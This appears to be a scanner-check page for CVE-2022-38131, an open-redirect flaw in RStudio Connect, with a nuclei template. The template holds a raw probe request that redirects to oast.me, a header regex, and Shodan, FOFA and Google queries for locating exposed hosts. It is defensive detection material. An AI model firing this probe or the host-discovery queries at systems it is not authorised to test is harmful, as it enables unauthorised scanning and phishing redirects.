RStudio Connect - Open Redirect

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

RStudio Connect prior to 2023.01.0 is affected by an Open Redirect issue. The vulnerability could allow an attacker to redirect users to malicious websites.

Impact

An attacker can exploit the vulnerability to redirect users to malicious websites, potentially leading to phishing attacks or other security breaches.

Fix

This issue is fixed in Connect v2023.05. Additionally, for users running Connect v1.7.2 and later, the issue is resolvable via a configuration setting mentioned in the support article.

How to confirm it

Send: GET //%5coast.me
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]…/ AND status 307

Run it with nuclei: nuclei -id CVE-2022-38131 -u <target>

The full check

id: CVE-2022-38131

info:
  name: RStudio Connect - Open Redirect
  author: xxcdd
  severity: medium
  description: |
    RStudio Connect prior to 2023.01.0 is affected by an Open Redirect issue. The vulnerability could allow an attacker to redirect users to malicious websites.
  impact: |
    An attacker can exploit the vulnerability to redirect users to malicious websites, potentially leading to phishing attacks or other security breaches.
  remediation: |
    This issue is fixed in Connect v2023.05. Additionally, for users running Connect v1.7.2 and later, the issue is resolvable via a configuration setting mentioned in the support article.
  reference:
    - https://tenable.com/security/research/tra-2022-30
    - https://support.posit.co/hc/en-us/articles/10983374992023-CVE-2022-38131-configuration-issue-in-Posit-Connect
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38131
    cwe-id: CWE-601
    epss-score: 0.017
    epss-percentile: 0.774
    cpe: cpe:2.3:a:rstudio:connect:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rstudio
    product: connect
    shodan-query:
      - "http.favicon.hash:217119619"
      - http.title:"openvpn connect"
    fofa-query:
      - "app=\"RStudio-Connect\""
      - title="openvpn connect"
    google-query: intitle:"openvpn connect"
  tags: tenable,cve,cve2022,redirect,rstudio,vuln

http:
  - raw:
      - |
        GET //%5coast.me HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$'

      - type: status
        status:
          - 307

References

Use this check only on systems you are authorised to test. Where the data comes from